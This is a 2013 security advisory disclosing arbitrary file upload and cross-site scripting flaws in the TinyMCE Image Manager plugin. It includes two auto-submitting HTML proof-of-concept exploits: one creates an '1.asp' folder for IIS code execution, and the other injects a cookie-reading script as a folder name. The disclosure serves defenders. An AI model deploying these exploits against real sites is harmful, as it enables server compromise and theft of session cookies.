Hello 3APA3A!
These are Arbitrary File Uploading and Cross-Site Scripting vulnerabilities in TinyMCE Image Manager plugin for TinyMCE.
Vulnerable are TinyMCE Image Manager 1.1 and previous versions.
Dustweb
http://dustweb.ru/projects/tinymce_images/
Arbitrary File Uploading (WASC-31):
The attack is possible via "1.asp" in folder name. This is bypass method for executing arbitrary code at IIS web server.
TinyMCE Image Manager AFU.html
<html>
<head>
<title>TinyMCE Image Manager Arbitrary File Uploading exploit (C) 2013 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/tiny_mce/plugins/images/connector/php/" method="post">
<input type="hidden" name="action" value="newfolder">
<input type="hidden" name="type" value="images">
<input type="hidden" name="path" value="">
<input type="hidden" name="name" value="1.asp">
</form>
</body>
</html>
Cross-Site Scripting (WASC-08):
This is persistent XSS on Linux/Unix and reflected XSS on Windows. The code will execute just after sending request for creating a folder and later on at requests to connector (at any operations, except creating a folder with existent name).
TinyMCE Image Manager XSS.html
<html>
<head>
<title>TinyMCE Image Manager XSS exploit (C) 2013 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/tiny_mce/plugins/images/connector/php/" method="post">
<input type="hidden" name="action" value="newfolder">
<input type="hidden" name="type" value="images">
<input type="hidden" name="path" value="">
<input type="hidden" name="name" value="<body onload=alert(document.cookie)>">
</form>
</body>
</html>
2013.05.22 - announced at my site.
2013.05.23 - informed developer.
2013.07.18 - disclosed at my site (http://websecurity.com.ua/6527/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua